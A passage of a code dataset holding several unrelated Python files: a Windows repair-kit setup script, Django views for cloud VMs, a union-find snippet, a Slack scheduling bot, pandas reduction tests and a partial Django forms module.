disable=bad-whitespace,line-too-long\nOTHER_RESULTS = {\n 'Error': {\n 'BIOSKeyNotFoundError': 'BIOS KEY NOT FOUND',\n 'CalledProcessError': 'UNKNOWN ERROR',\n 'FileNotFoundError': 'FILE NOT FOUND',\n 'GenericError': 'UNKNOWN ERROR',\n 'Not4KAlignedError': 'FALSE',\n 'SecureBootDisabledError': 'DISABLED',\n 'WindowsUnsupportedError': 'UNSUPPORTED',\n },\n 'Warning': {\n 'GenericRepair': 'REPAIRED',\n 'NoProfilesError': 'NO PROFILES FOUND',\n 'NotInstalledError': 'NOT INSTALLED',\n 'OSInstalledLegacyError': 'OS INSTALLED LEGACY',\n 'SecureBootNotAvailError': 'NOT AVAILABLE',\n 'SecureBootUnknownError': 'UNKNOWN',\n 'UnsupportedOSError': 'UNSUPPORTED OS',\n 'WindowsOutdatedError': 'OUTDATED',\n },\n }\nSETUP_ACTIONS = OrderedDict({\n # Install software\n 'Installing Programs': {'Info': True},\n 'VCR': {'New': True, 'Dat': True, 'Cur': True, 'HW': False, 'Function': install_vcredists, 'Just run': True,},\n 'LibreOffice': {'New': True, 'Dat': True, 'Cur': True, 'HW': False, 'Function': install_libreoffice,\n 'If answer': 'LibreOffice', 'KWArgs': {'quickstart': False, 'register_mso_types': True, 'use_mso_formats': False, 'vcredist': False},\n },\n 'Ninite bundle': {'New': True, 'Dat': True, 'Cur': True, 'HW': False, 'Function': install_ninite_bundle, 'KWArgs': {'cs': 'STARTED'},},\n\n # Browsers\n 'Scanning for browsers': {'Info': True},\n 'Scan': {'New': True, 'Dat': True, 'Cur': True, 'HW': False, 'Function': scan_for_browsers, 'Just run': True, 'KWArgs': {'skip_ie': True},},\n 'Backing up browsers': {'Info': True},\n 'Backup browsers': {'New': False, 'Dat': True, 'Cur': True, 'HW': False, 'Function': backup_browsers, 'Just run': True,},\n\n # Install extensions\n 'Installing Extensions': {'Info': True},\n 'Classic Shell skin': {'New': True, 'Dat': True, 'Cur': False, 'HW': False, 'Function': install_classicstart_skin, 'Win10 only': True,},\n 'Chrome extensions': {'New': True, 'Dat': True, 'Cur': True, 'HW': False, 'Function': install_chrome_extensions,},\n 'Firefox extensions': {'New': True, 'Dat': True, 'Cur': True, 'HW': False, 'Function': install_firefox_extensions,},\n\n # Configure software'\n 'Configuring Programs': {'Info': True},\n 'Browser add-ons': {'New': True, 'Dat': True, 'Cur': True, 'HW': False, 'Function': install_adblock, 'Just run': True,\n 'Pause': 'Please enable uBlock Origin for all browsers',\n },\n 'Classic Start': {'New': True, 'Dat': True, 'Cur': False, 'HW': False, 'Function': config_classicstart, 'Win10 only': True,},\n 'Config Windows Updates': {'New': True, 'Dat': True, 'Cur': True, 'HW': True, 'Function': config_windows_updates, 'Win10 only': True,},\n 'Enable Windows Updates': {'New': True, 'Dat': True, 'Cur': True, 'HW': True, 'Function': enable_windows_updates, 'KWArgs': {'silent': True},},\n 'Explorer (system)': {'New': True, 'Dat': True, 'Cur': True, 'HW': False, 'Function': config_explorer_system, 'Win10 only': True,},\n 'Explorer (user)': {'New': True, 'Dat': True, 'Cur': True, 'HW': False, 'Function': config_explorer_user, 'Win10 only': True,},\n 'Restart Explorer': {'New': True, 'Dat': True, 'Cur': True, 'HW': False, 'Function': restart_explorer,},\n 'Restore default UAC': {'New': True, 'Dat': True, 'Cur': True, 'HW': False, 'Function': restore_default_uac,},\n 'Update Clock': {'New': True, 'Dat': True, 'Cur': True, 'HW': False, 'Function': update_clock,},\n\n # Cleanup\n 'Cleaning up': {'Info': True},\n 'AdwCleaner': {'New': True, 'Dat': True, 'Cur': True, 'HW': False, 'Function': cleanup_adwcleaner,},\n 'Desktop': {'New': True, 'Dat': True, 'Cur': True, 'HW': False, 'Function': cleanup_desktop,},\n 'KIT_NAME_FULL': {'New': True, 'Dat': True, 'Cur': True, 'HW': True, 'Function': delete_empty_folders,},\n\n # System Info\n 'Exporting system info': {'Info': True},\n 'AIDA64 Report': {'New': True, 'Dat': True, 'Cur': True, 'HW': False, 'Function': run_aida64,},\n 'File listing': {'New': True, 'Dat': True, 'Cur': True, 'HW': False, 'Function': backup_file_list,},\n 'Power plans': {'New': True, 'Dat': True, 'Cur': True, 'HW': True, 'Function': backup_power_plans,},\n 'Product Keys': {'New': True, 'Dat': True, 'Cur': True, 'HW': True, 'Function': run_produkey,},\n 'Registry': {'New': True, 'Dat': True, 'Cur': True, 'HW': True, 'Function': backup_registry,},\n\n # Show Summary\n 'Summary': {'Info': True},\n 'Operating System': {'New': True, 'Dat': True, 'Cur': True, 'HW': True, 'Function': show_os_name, 'KWArgs': {'ns': 'UNKNOWN', 'silent_function': False},},\n 'Activation': {'New': True, 'Dat': True, 'Cur': True, 'HW': True, 'Function': show_os_activation, 'KWArgs': {'ns': 'UNKNOWN', 'silent_function': False},},\n 'BIOS Activation': {'New': True, 'Dat': True, 'Cur': True, 'HW': False, 'Function': activate_with_bios, 'If not activated': True,},\n 'Secure Boot': {'New': True, 'Dat': True, 'Cur': True, 'HW': True, 'Function': check_secure_boot_status, 'KWArgs': {'show_alert': False},},\n 'Installed RAM': {'New': True, 'Dat': True, 'Cur': True, 'HW': True, 'Function': show_installed_ram, 'KWArgs': {'ns': 'UNKNOWN', 'silent_function': False},},\n 'Temp size': {'New': False, 'Dat': False, 'Cur': True, 'HW': False, 'Function': show_temp_files_size, 'KWArgs': {'ns': 'UNKNOWN', 'silent_function': False},},\n 'Show free space': {'New': True, 'Dat': True, 'Cur': True, 'HW': True, 'Function': show_free_space, 'Just run': True,},\n 'Installed AV': {'New': True, 'Dat': True, 'Cur': True, 'HW': True, 'Function': get_installed_antivirus, 'KWArgs': {'ns': 'UNKNOWN', 'print_return': True},},\n 'Installed Office': {'New': True, 'Dat': True, 'Cur': True, 'HW': False, 'Function': get_installed_office, 'KWArgs': {'ns': 'UNKNOWN', 'print_return': True},},\n 'Partitions 4K aligned': {'New': True, 'Dat': True, 'Cur': True, 'HW': True, 'Function': check_4k_alignment, 'KWArgs': {'cs': 'TRUE', 'ns': 'FALSE'},},\n\n # Open things\n 'Opening Programs': {'Info': True},\n 'Device Manager': {'New': True, 'Dat': True, 'Cur': True, 'HW': True, 'Function': open_device_manager, 'KWArgs': {'cs': 'STARTED'},},\n 'HWiNFO sensors': {'New': True, 'Dat': True, 'Cur': True, 'HW': True, 'Function': run_hwinfo_sensors, 'KWArgs': {'cs': 'STARTED'},},\n 'Speed test': {'New': True, 'Dat': True, 'Cur': True, 'HW': True, 'Function': open_speedtest, 'KWArgs': {'cs': 'STARTED'},},\n 'Windows Updates': {'New': True, 'Dat': True, 'Cur': True, 'HW': False, 'Function': open_windows_updates, 'KWArgs': {'cs': 'STARTED'},},\n 'Windows Activation': {'New': True, 'Dat': True, 'Cur': True, 'HW': False, 'Function': open_windows_activation, 'If not activated': True, 'KWArgs': {'cs': 'STARTED'},},\n 'Sleep': {'New': True, 'Dat': True, 'Cur': True, 'HW': True, 'Function': sleep, 'Just run': True, 'KWArgs': {'seconds': 3},},\n 'XMPlay': {'New': True, 'Dat': True, 'Cur': True, 'HW': True, 'Function': run_xmplay, 'KWArgs': {'cs': 'STARTED'},},\n })\nSETUP_ACTION_KEYS = (\n 'Function',\n 'If not activated',\n 'Info',\n 'Just run',\n 'KWArgs',\n 'Pause',\n )\nSETUP_QUESTIONS = {\n # AV\n 'MSE': {'New': None, 'Dat': None, 'Cur': None, 'HW': False, 'Ninite': True},\n\n # LibreOffice\n 'LibreOffice': {'New': None, 'Dat': None, 'Cur': None, 'HW': False, 'Ninite': True},\n\n # Ninite\n 'Base': {'New': True, 'Dat': True, 'Cur': True, 'HW': False, 'Ninite': True},\n 'Missing': {'New': False, 'Dat': True, 'Cur': False, 'HW': False, 'Ninite': True},\n 'Standard': {'New': True, 'Dat': True, 'Cur': False, 'HW': False, 'Ninite': True},\n }\n# pylint: enable=bad-whitespace,line-too-long\n\n\n# Functions\ndef check_os_and_abort():\n \"\"\"Check OS and prompt to abort if not supported.\"\"\"\n result = try_and_print(\n message='OS support status...',\n function=check_os_support_status,\n cs='GOOD',\n )\n if not result['CS'] and 'Unsupported' in result['Error']:\n print_warning('OS version not supported by this script')\n if not ask('Continue anyway? (NOT RECOMMENDED)'):\n abort()\n\n\ndef get_actions(setup_mode, answers):\n \"\"\"Get actions to perform based on setup_mode, returns OrderedDict.\"\"\"\n actions = OrderedDict({})\n for _key, _val in SETUP_ACTIONS.items():\n _action = {}\n _if_answer = _val.get('If answer', False)\n _win10_only = _val.get('Win10 only', False)\n\n # Set enabled status\n _enabled = _val.get(setup_mode, False)\n if _if_answer:\n _enabled = _enabled and answers[_if_answer]\n if _win10_only:\n _enabled = _enabled and global_vars['OS']['Version'] == '10'\n _action['Enabled'] = _enabled\n\n # Set other keys\n for _sub_key in SETUP_ACTION_KEYS:\n _action[_sub_key] = _val.get(_sub_key, None)\n\n # Fix KWArgs\n if _action.get('KWArgs', {}) is None:\n _action['KWArgs'] = {}\n\n # Handle \"special\" actions\n if _key == 'KIT_NAME_FULL':\n # Cleanup WK folders\n _key = KIT_NAME_FULL\n _action['KWArgs'] = {'folder_path': global_vars['ClientDir']}\n elif _key == 'Ninite bundle':\n # Add install_ninite_bundle() kwargs\n _action['KWArgs'].update({\n kw.lower(): kv for kw, kv in answers.items()\n if SETUP_QUESTIONS.get(kw, {}).get('Ninite', False)\n })\n elif _key == 'Explorer (user)':\n # Explorer settings (user)\n _action['KWArgs'] = {'setup_mode': setup_mode}\n\n # Add to dict\n actions[_key] = _action\n\n return actions\n\n\ndef get_answers(setup_mode):\n \"\"\"Get setup answers based on setup_mode and user input, returns dict.\"\"\"\n answers = {k: v.get(setup_mode, False) for k, v in SETUP_QUESTIONS.items()}\n\n # Answer setup questions as needed\n if answers['MSE'] is None and global_vars['OS']['Version'] == '7':\n answers.update(get_av_selection())\n\n if answers['LibreOffice'] is None:\n answers['LibreOffice'] = ask('Install LibreOffice?')\n\n return answers\n\n\ndef get_av_selection():\n \"\"\"Get AV selection.\"\"\"\n av_answers = {\n 'MSE': False,\n }\n av_options = [\n {\n 'Name': 'Microsoft Security Essentials',\n 'Disabled': global_vars['OS']['Version'] not in ['7'],\n },\n ]\n actions = [\n {'Name': 'None', 'Letter': 'N'},\n {'Name': 'Quit', 'Letter': 'Q'},\n ]\n\n # Show menu\n selection = menu_select(\n 'Please select an option to install',\n main_entries=av_options,\n action_entries=actions)\n if selection.isnumeric():\n index = int(selection) - 1\n if 'Microsoft' in av_options[index]['Name']:\n av_answers['MSE'] = True\n elif selection == 'Q':\n abort()\n\n return av_answers\n\n\ndef get_mode():\n \"\"\"Get mode via menu_select, returns str.\"\"\"\n setup_mode = None\n mode_options = [\n {'Name': 'New', 'Display Name': 'New / Clean install (no data)'},\n {'Name': 'Dat', 'Display Name': 'Clean install with data migration'},\n {'Name': 'Cur', 'Display Name': 'Original OS (post-repair or overinstall)'},\n {'Name': 'HW', 'Display Name': 'Hardware service (i.e. no software work)'},\n ]\n actions = [\n {'Name': 'Quit', 'Letter': 'Q'},\n ]\n\n # Get selection\n selection = menu_select(\n 'Please select a setup mode',\n main_entries=mode_options,\n action_entries=actions)\n if selection.isnumeric():\n index = int(selection) - 1\n setup_mode = mode_options[index]['Name']\n elif selection == 'Q':\n abort()\n\n return setup_mode\n\n\ndef main():\n \"\"\"Main function.\"\"\"\n stay_awake()\n clear_screen()\n\n # Check installed OS\n check_os_and_abort()\n\n # Get setup mode\n setup_mode = get_mode()\n\n # Get answers to setup questions\n answers = get_answers(setup_mode)\n\n # Get actions to perform\n actions = get_actions(setup_mode, answers)\n\n # Perform actions\n for action, values in actions.items():\n kwargs = values.get('KWArgs', {})\n\n # Print info lines\n if values.get('Info', False):\n print_info(action)\n continue\n\n # Print disabled actions\n if not values.get('Enabled', False):\n show_data(\n message='{}...'.format(action),\n data='DISABLED',\n warning=True,\n )\n continue\n\n # Check Windows activation if requested\n if values.get('If not activated', False) and windows_is_activated():\n # Skip\n continue\n\n # Run function\n if values.get('Just run', False):\n values['Function'](**kwargs)\n else:\n result = try_and_print(\n message='{}...'.format(action),\n function=values['Function'],\n other_results=OTHER_RESULTS,\n **kwargs)\n\n # Wait for Ninite proc(s)\n if action == 'Ninite bundle':\n print_standard('Waiting for installations to finish...')\n try:\n for proc in result['Out']:\n proc.wait()\n except KeyboardInterrupt:\n pass\n\n # Pause\n if values.get('Pause', False):\n print_standard(values['Pause'])\n pause()\n\n # Show alert box for SecureBoot issues\n try:\n check_secure_boot_status(show_alert=True)\n except Exception: # pylint: disable=broad-except\n # Ignoring exceptions since we just want to show the popup\n pass\n\n # Done\n pause('Press Enter to exit... ')\n\n\nif __name__ == '__main__':\n try:\n main()\n exit_script()\n except SystemExit as sys_exit:\n exit_script(sys_exit.code)\n except: # pylint: disable=bare-except\n major_exception()\n","sub_path":".bin/Scripts/system_setup.py","file_name":"system_setup.py","file_ext":"py","file_size_in_byte":14532,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"423630718","text":"from django.shortcuts import render\nfrom django.http import JsonResponse\nimport json\nimport datetime\nfrom .models import EvcloudVM, VMLimit, VMConfig\nfrom .utils import evcloud_operations\n\n# Create your views here.\n\ndef evcloud_list(request):\n if request.method == \"GET\":\n try:\n vms = evcloud_operations()\n image_list = vms.get_image_list()\n image_list_dict = {}\n for image in image_list.values():\n image_list_dict[image['id']] = image['name'] + ' ' + image['version']\n except:\n pass\n #image_list = ['centos7 64bit', 'win10 64bit', 'centos6 64bit', 'winxp 32bit', 'fedora28 64bit']\n user = request.user\n vm_list = EvcloudVM.objects.filter(user=user).filter(deleted=False).values()\n vm_list_dict = {}\n for i, vm in enumerate(vm_list):\n try:\n vm['vm_image_display'] = image_list_dict[int(vm['vm_image'])]\n except:\n vm['vm_image_display'] = '服务出错'\n vm['created_time_display'] = vm['created_time'].strftime(\"%Y-%m-%d\")\n vm['end_time_display'] = vm['end_time'].strftime(\"%Y-%m-%d\")\n vm_list_dict[i] = vm\n return render(request, 'evcloud_list.html', {'vm_list_dict':vm_list_dict})\n elif request.method == \"POST\":\n vms = evcloud_operations()\n vm_id = request.POST.get('vm_id')\n vm_operate = int(request.POST.get('vm_operate'))\n if vm_operate == 4:\n code, e = vms.delete(vm_id)\n status = 'delete'\n if code == 200:\n vm = EvcloudVM.objects.get(vm_id=vm_id)\n vm.deleted = True\n vm.save()\n elif vm_operate == 5:\n code, e = vms.create_vnc(vm_id)\n status = 'ok'\n elif vm_operate == 6:\n code, e = vms.get_status(vm_id)\n status = 'ok'\n elif 0 < vm_operate < 3:\n code, e = vms.operations(vm_id, vm_operate)\n status = '关机'\n else:\n code, e = vms.operations(vm_id, vm_operate)\n status = '开机'\n result = {\n 'code': code,\n 'status': status,\n 'e': e,\n }\n #print(e)\n return JsonResponse(data=result)\ndef evcloud_add(request):\n #print(request.method)\n user = request.user\n if request.method == \"GET\":\n try:\n vms = evcloud_operations()\n image_list = vms.get_image_list()\n except:\n image_list[0] = {'name': '服务出错'}\n pass\n config_list = VMConfig.objects.all().values()\n config_list_dict = {}\n for i, config in enumerate(config_list):\n config_list_dict[i] = config\n return render(request, 'evcloud_add.html', {'config_list_dict': config_list_dict,\n 'image_list': image_list,\n })\n\n elif request.method == \"POST\":\n try:\n limit = VMLimit.objects.get(user=user).limit\n except :\n VMLimit.objects.create(user=user)\n limit = VMLimit.objects.get(user=user).limit\n result = {}\n image = int(request.POST.get('image'))\n config_id = int(request.POST.get('configure'))\n config = VMConfig.objects.get(id=config_id)\n cpu = config.cpu\n mem = config.mem\n time = config.time * 30\n try:\n vm_number = EvcloudVM.objects.filter(user=user).filter(deleted=False).count()\n if vm_number >= limit:\n raise Exception('the number of VM exceed limit')\n vms = evcloud_operations()\n create_result = vms.create(image, cpu, mem, user.email)\n EvcloudVM.objects.create(vm_id=create_result['uuid'],\n user=user,\n end_time=datetime.datetime.now()+datetime.timedelta(days=time),\n vm_image=image,\n vm_cpu=cpu,\n vm_mem=mem,\n vm_ip=create_result['ipv4'],\n group_id=create_result['group_id'])\n #print(create_result)\n result['code'] = 200\n except Exception as e:\n result['code'] = 400\n print(e)\n result['error_text'] = str(e).encode('utf-8').decode('unicode_escape')\n return JsonResponse(data = result)\n else:\n return JsonResponse(data = 'error')","sub_path":"apps/evcloud/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4609,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"189611904","text":"# Union Find root method\ndef root(a,i):\n\twhile(a[i]!=i):\n\t\ti=a[i]\n\treturn i\n\ndef find(a,u,v):\n\tif root(a,u) == root(a,v):\n\t\treturn True\n\treturn False\n\ndef union(a,u,v):\n\trootu = root(a,u)\n\trootv = root(a,v)\n\ta[rootu] = rootv\n\nvertex=[0,1,2,3,4,5,6]\nedges=[(1,0),(1,3),(4,6),(2,6)]\nfor edge in edges:\n\tunion(vertex,edge[0],edge[1])\nprint(vertex)\nprint(find(vertex,1,5))","sub_path":"union_find_root.py","file_name":"union_find_root.py","file_ext":"py","file_size_in_byte":368,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"129209431","text":"import sys\nimport datetime\nfrom slackbot.bot import respond_to, listen_to\nsys.path.append('..')\nfrom application.google_calendar import get_upcoming_events\nfrom find_avairable_time import get_available_time\n\n@listen_to('飲みにいける日')\n@listen_to('呑みにいける日')\n@listen_to('のみにいける日')\n@listen_to('ひまな日')\ndef respond_schedule(message):\n\n calendar_ids = {'塩ホッケ': 'mchmng0grg5vb1q9pdahc2fui4@group.calendar.google.com',\n '大西': '9hsr2ngo831lbbq5pk52ujcicc@group.calendar.google.com',\n '耀太': 'sufgin9an1pmqgr6o24dks5q40@group.calendar.google.com'}\n john_events = get_upcoming_events(calendar_id=calendar_ids['塩ホッケ'], max_results=100)\n mary_events = get_upcoming_events(calendar_id=calendar_ids['大西'], max_results=100)\n mike_events = get_upcoming_events(calendar_id=calendar_ids['耀太'], max_results=100)\n\n from pprint import pprint\n min_time, max_time = datetime.time(18, 0), datetime.time(21, 0)\n intervals = get_available_time(min_time, max_time, john_events, mary_events, mike_events)\n free_list = []\n\n for date in sorted(intervals.keys()):\n for pair in intervals[date]:\n start,end = pair\n start_str = start.strftime('%m/%d %H:%M')\n end_str = end.strftime('%m/%d %H:%M')\n text = '\\r\\n' + start_str + \" ～ \" + end_str\n free_list.append(text)\n\n reply_schedule = ' '.join(free_list)\n reply_message = '\\r\\n' + \"3人の都合が合う日はこれです\" + reply_schedule\n message.reply(reply_message)\n\n@respond_to('おススメのお店')\n@respond_to('お勧めのお店')\n@respond_to('おススメの店')\n@respond_to('お勧めの店')\ndef respond_bar(message):\n reply_message2 = \"日本酒好きが多いですね\" + \"\\r\\n\" + \"ここがおススメですよ\" + \"\\r\\n\" + \"https://tabelog.com/osaka/A2701/A270101/27080955/\"\n message.reply(reply_message2)\n\n@respond_to('他のお店')\n@respond_to('他の店')\ndef respond_bar2(message):\n reply_message3 = \"たまにはピザなんてどうですか？\" + \"\\r\\n\" + \"ここもおススメですよ\" + \"\\r\\n\" + \"https://tabelog.com/osaka/A2701/A270101/27092761/\"\n message.reply(reply_message3)","sub_path":"application/plugins/slack.py","file_name":"slack.py","file_ext":"py","file_size_in_byte":2251,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"499736869","text":"# Copyright 1999-2018 Alibaba Group Holding Ltd.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport pandas as pd\nimport numpy as np\n\nfrom mars.tests.core import TestBase\nfrom mars.dataframe.datasource.series import from_pandas as from_pandas_series\nfrom mars.dataframe.datasource.dataframe import from_pandas as from_pandas_df\n\n\nclass Test(TestBase):\n def testSeriesSum(self):\n data = pd.Series(np.random.rand(20), index=[str(i) for i in range(20)], name='a')\n sum_df1 = from_pandas_series(data).sum()\n self.assertEqual(data.sum(), sum_df1.execute())\n\n sum_df2 = from_pandas_series(data, chunk_size=6).sum()\n self.assertAlmostEqual(data.sum(), sum_df2.execute())\n\n sum_df3 = from_pandas_series(data, chunk_size=3).sum()\n self.assertAlmostEqual(data.sum(), sum_df3.execute())\n\n sum_df4 = from_pandas_series(data, chunk_size=4).sum(axis='index')\n self.assertAlmostEqual(data.sum(axis='index'), sum_df4.execute())\n\n data = pd.Series(np.random.rand(20), name='a')\n data[0] = 0.1 # make sure not all elements are NAN\n data[data > 0.5] = np.nan\n sum_df1 = from_pandas_series(data, chunk_size=3).sum()\n self.assertAlmostEqual(data.sum(), sum_df1.execute())\n\n sum_df2 = from_pandas_series(data, chunk_size=3).sum(skipna=False)\n self.assertTrue(np.isnan(sum_df2.execute()))\n\n sum_df3 = from_pandas_series(data, chunk_size=3).sum(skipna=False, min_count=2)\n self.assertTrue(np.isnan(sum_df3.execute()))\n\n sum_df4 = from_pandas_series(data, chunk_size=3).sum(min_count=1)\n self.assertAlmostEqual(data.sum(min_count=1), sum_df4.execute())\n\n sum_df5 = from_pandas_series(data, chunk_size=3).sum(min_count=21)\n self.assertTrue(np.isnan(sum_df5.execute()))\n\n def testDataFrameSum(self):\n data = pd.DataFrame(np.random.rand(20, 10))\n sum_df1 = from_pandas_df(data).sum()\n pd.testing.assert_series_equal(data.sum(), sum_df1.execute())\n\n sum_df2 = from_pandas_df(data, chunk_size=3).sum()\n pd.testing.assert_series_equal(data.sum(), sum_df2.execute())\n\n sum_df3 = from_pandas_df(data, chunk_size=6).sum(axis='index', numeric_only=True)\n pd.testing.assert_series_equal(data.sum(axis='index', numeric_only=True), sum_df3.execute())\n\n sum_df4 = from_pandas_df(data, chunk_size=3).sum(axis=1)\n pd.testing.assert_series_equal(data.sum(axis=1), sum_df4.execute())\n\n # test null\n np_data = np.random.rand(20, 10)\n np_data[np_data > 0.6] = np.nan\n data = pd.DataFrame(np_data)\n\n sum_df1 = from_pandas_df(data, chunk_size=3).sum()\n pd.testing.assert_series_equal(data.sum(), sum_df1.execute())\n\n sum_df2 = from_pandas_df(data, chunk_size=3).sum(skipna=False)\n pd.testing.assert_series_equal(data.sum(skipna=False), sum_df2.execute())\n\n sum_df3 = from_pandas_df(data, chunk_size=3).sum(min_count=15)\n pd.testing.assert_series_equal(data.sum(min_count=15), sum_df3.execute())\n\n sum_df4 = from_pandas_df(data, chunk_size=3).sum(min_count=3)\n pd.testing.assert_series_equal(data.sum(min_count=3), sum_df4.execute())\n\n sum_df5 = from_pandas_df(data, chunk_size=3).sum(axis=1, min_count=3)\n pd.testing.assert_series_equal(data.sum(axis=1, min_count=3), sum_df5.execute())\n\n sum_df5 = from_pandas_df(data, chunk_size=3).sum(axis=1, min_count=8)\n pd.testing.assert_series_equal(data.sum(axis=1, min_count=8), sum_df5.execute())\n\n # test numeric_only\n data = pd.DataFrame(np.random.rand(10, 10), index=np.random.randint(-100, 100, size=(10,)),\n columns=[np.random.bytes(10) for _ in range(10)])\n sum_df1 = from_pandas_df(data, chunk_size=2).sum()\n pd.testing.assert_series_equal(data.sum(), sum_df1.execute())\n\n sum_df2 = from_pandas_df(data, chunk_size=6).sum(axis='index', numeric_only=True)\n pd.testing.assert_series_equal(data.sum(axis='index', numeric_only=True), sum_df2.execute())\n\n sum_df3 = from_pandas_df(data, chunk_size=3).sum(axis='columns')\n pd.testing.assert_series_equal(data.sum(axis='columns'), sum_df3.execute())\n\n data_dict = dict((str(i), np.random.rand(10)) for i in range(10))\n data_dict['string'] = [str(i) for i in range(10)]\n data_dict['bool'] = np.random.choice([True, False], (10,))\n data = pd.DataFrame(data_dict)\n sum_df = from_pandas_df(data, chunk_size=3).sum(axis='index', numeric_only=True)\n pd.testing.assert_series_equal(data.sum(axis='index', numeric_only=True), sum_df.execute())\n\n","sub_path":"mars/dataframe/reduction/tests/test_reduction_execute.py","file_name":"test_reduction_execute.py","file_ext":"py","file_size_in_byte":5148,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"289834374","text":"# -*- coding: utf-8 -*-\nimport logging\n\nfrom django.conf import settings\nfrom django.views.decorators.http import require_GET\nfrom future.utils import raise_with_traceback\n\nfrom luckyapi.logic.crowdfunding import (view_my_activitys_v2,\n view_other_activitys,\n view_activity_detail,\n view_activity_revealed,\n view_latest_activity,\n view_revealed_list)\nfrom luckycommon.sensor.sensor_handler import filter_apples, filter_gp\nfrom luckycommon.strategy import handler as strategy_handler\nfrom luckycommon.utils.api import token_required\nfrom luckycommon.utils.decorator import response_wrapper\nfrom luckycommon.utils.exceptions import (ParamError, AuthenticateError)\n\n_LOGGER = logging.getLogger('lucky')\n\nDEBUG_USER = settings.DEBUG_USER\n\n\n@require_GET\n@response_wrapper\ndef get_activity_detail(request, activity_id):\n \"\"\"\n get activity detail\n \"\"\"\n activity_detail = view_activity_detail(\n request.user_id, activity_id, use_cache=True)\n return activity_detail\n\n\n@require_GET\n@response_wrapper\ndef get_activity_revealed(request, activity_id):\n \"\"\"\n 查看商品的中奖信息\n \"\"\"\n activity_revealed = view_activity_revealed(activity_id)\n return activity_revealed\n\n\n@require_GET\n@response_wrapper\ndef get_latest_activity(request, template_id):\n \"\"\"\n 查看最新一期商品详情\n \"\"\"\n lite_only = int(request.GET.get('lite_only', 0))\n activity_detail = view_latest_activity(\n request.user_id, template_id, lite_only=lite_only)\n return activity_detail\n\n\n@require_GET\n@response_wrapper\ndef get_last_revealed(request, template_id):\n \"\"\"\n 往期揭晓\n get last winner of template\n \"\"\"\n try:\n page = int(request.GET.get('page', 0))\n size = int(request.GET.get('size', 0))\n except Exception as e:\n raise_with_traceback(ParamError(e))\n revealed_list, count = view_revealed_list(\n page, size, template_id, use_cache=True)\n data = {\n 'list': revealed_list,\n 'page': page if page > 0 else 1,\n 'size': len(revealed_list),\n 'total_count': count\n }\n return data\n\n\n@require_GET\n@response_wrapper\n@token_required\ndef get_my_activitys(request):\n \"\"\"\n 查看我的夺宝记录\n \"\"\"\n user_id = request.user_id\n if not user_id:\n raise AuthenticateError('not login')\n\n try:\n page = int(request.GET.get('page', 0))\n size = int(request.GET.get('size', 0))\n only_win = int(request.GET['win']) if request.GET.get('win') else 0\n status = int(request.GET['status']) if request.GET.get(\n 'status') else None\n except Exception as e:\n raise_with_traceback(ParamError(e))\n\n a_list, count = view_my_activitys_v2(user_id, page, size, only_win, status)\n data = {\n 'list': a_list,\n 'page': page if page > 0 else 1,\n 'size': size if size else count,\n 'total_count': count\n }\n return data\n\n\n@require_GET\n@response_wrapper\ndef get_other_activitys(request, user_id):\n \"\"\"\n 查看他人夺宝记录\n \"\"\"\n try:\n user_id = int(user_id)\n page = int(request.GET.get('page', 0))\n size = int(request.GET.get('size', 0))\n only_win = int(request.GET['win']) if request.GET.get('win') else 0\n status = int(request.GET['status']) if request.GET.get(\n 'status') else None\n except Exception as e:\n raise_with_traceback(ParamError(e))\n\n a_list, count = view_other_activitys(user_id, page, size, only_win, status)\n a_list = filter_apples(request, a_list)\n a_list = filter_gp(request, a_list)\n data = {\n 'list': a_list,\n 'total_count': count\n }\n return data\n\n\n@require_GET\n@response_wrapper\n@token_required\ndef get_activity_announce(request, activity_id):\n if request.user_id != DEBUG_USER:\n raise AuthenticateError()\n data = strategy_handler.fetch_announce_result(activity_id)\n return data\n","sub_path":"luckyapi/views/activity_v2.py","file_name":"activity_v2.py","file_ext":"py","file_size_in_byte":4115,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"132502933","text":"from django import forms\nfrom .models import Person, Project, Cost, Attachment, Horaire, Assignment, Time\n\n\n\nYEARS = [x for x in range(1980,2031)]\nYEAR_DATE = [x for x in range(2015,2031)]\n\n\nclass PersonForm(forms.ModelForm):\n class Meta:\n model = Person\n fields = [\n \"name\",\n \"name_short\",\n \"phone\",\n \"email\",\n \"IBAN\",\n \"birthday\",\n \"company\",\n \"company_short\",\n # \"country\",\n # \"city\",\n # \"zip_code\",\n # \"address\",\n # \"comment\",\n # \"agent\",\n # \"agent_short\",\n \"client\",\n \"model\",\n \"photographe\",\n \"make_up\",\n \"styling\",\n \"other\",\n \"comment_other\",\n # \"sedcard_cost\",\n # \"sedcard_payed\",\n # \"bank_account\",\n # \"website\"\n ]\n \n\nclass ProjectForm(forms.ModelForm):\n\n\n\n start = forms.DateField(widget=forms.SelectDateWidget(years=YEAR_DATE), label=\"Stardatum\")\n finish = forms.DateField(initial=\"2010-11-20\", widget=forms.SelectDateWidget(years=YEAR_DATE), label=\"Enddatum\")\n name = forms.CharField(required=True, widget=forms.TextInput(attrs={'class': 'special'}), initial=\"\", label=\"Projektname\")\n comment = forms.CharField(required=False, widget=forms.Textarea(attrs={\"rows\": 1, \"cols\": 22}), label=\"Komment\")\n other_description = forms.CharField(required=False, widget=forms.Textarea(attrs={\"rows\": 1, \"cols\": 22}), label=\"Anderer Beschreibung\")\n comment_address = forms.CharField(required=False, widget=forms.Textarea(attrs={\"rows\": 1, \"cols\": 22}), label=\"Adresskomment\")\n\n class Meta: \n model = Project\n fields = [\n 'name',\n 'client',\n 'start',\n 'finish',\n 'user',\n 'comment',\n 'sort',\n 'all_day',\n 'half_day',\n 'half_day_price_pro',\n 'all_day_price_pro',\n 'over_price_pro',\n 'all_in_price_pro',\n 